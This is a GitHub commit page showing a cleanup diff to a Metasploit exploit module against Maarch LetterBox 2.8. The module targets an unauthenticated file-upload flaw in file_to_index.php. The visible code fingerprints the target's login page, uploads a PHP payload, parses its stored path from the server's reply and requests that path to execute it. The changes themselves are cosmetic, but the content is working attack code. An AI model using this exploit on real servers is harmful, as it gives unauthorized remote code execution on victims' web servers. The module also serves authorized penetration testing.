Skip to content

Commit 95bfe7a

Browse files
committed
Do minor cleanup
1 parent 30f3103 commit 95bfe7a

File tree

1 file changed

+12
-14
lines changed

1 file changed

+12
-14
lines changed

modules/exploits/unix/webapp/maarch_letterbox_unrestricted_file_upload.rb

Lines changed: 12 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,12 @@ def initialize(info = {})
1616
super(update_info(
1717
info,
1818
'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload',
19-
'Description' => %q{Maarch LetterBox 2.8 contains a flaw that allows
20-
unauthenticated users to upload files of any type due to a
21-
lack of session and file validation in the file_to_index.php
22-
script and subsequently execute PHP scripts in the context of
23-
the web server.},
19+
'Description' => %q{
20+
This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of
21+
session and file validation in the file_to_index.php script. It allows unauthenticated
22+
users to upload files of any type and subsequently execute PHP scripts in the context of
23+
the web server.
24+
},
2425
'License' => MSF_LICENSE,
2526
'Author' =>
2627
[
@@ -33,7 +34,7 @@ def initialize(info = {})
3334
'DisclosureDate' => 'Feb 11 2015',
3435
'Platform' => 'php',
3536
'Arch' => ARCH_PHP,
36-
'Targets' => [['Maarch LetterBox', {}]],
37+
'Targets' => [['Maarch LetterBox 2.8', {}]],
3738
'DefaultTarget' => 0
3839
))
3940

@@ -55,13 +56,11 @@ def check
5556
res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)
5657
if res.nil? || res.code != 200
5758
return Msf::Exploit::CheckCode::Unknown
58-
else
59-
if res.body.include? 'alt="Maarch Maerys Archive v2.1 logo"'
60-
return Msf::Exploit::CheckCode::Appears
61-
else
62-
return Msf::Exploit::CheckCode::Safe
63-
end
59+
elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"')
60+
return Msf::Exploit::CheckCode::Appears
6461
end
62+
63+
Msf::Exploit::CheckCode::Safe
6564
end
6665

6766
def generate_mime_message(payload, name)
@@ -89,11 +88,10 @@ def exploit
8988
captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures
9089
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil?
9190
payload_url = normalize_uri(target_uri.path, captures[0])
92-
print_good("#{peer} - Parsed response")
91+
print_good("#{peer} - Response parsed successfully")
9392

9493
print_status("#{peer} - Executing the payload at #{payload_url}")
9594
register_files_for_cleanup(File.basename(URI.parse(payload_url).path))
9695
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
97-
print_good("#{peer} - Executed payload")
9896
end
9997
end

0 commit comments

Comments
 (0)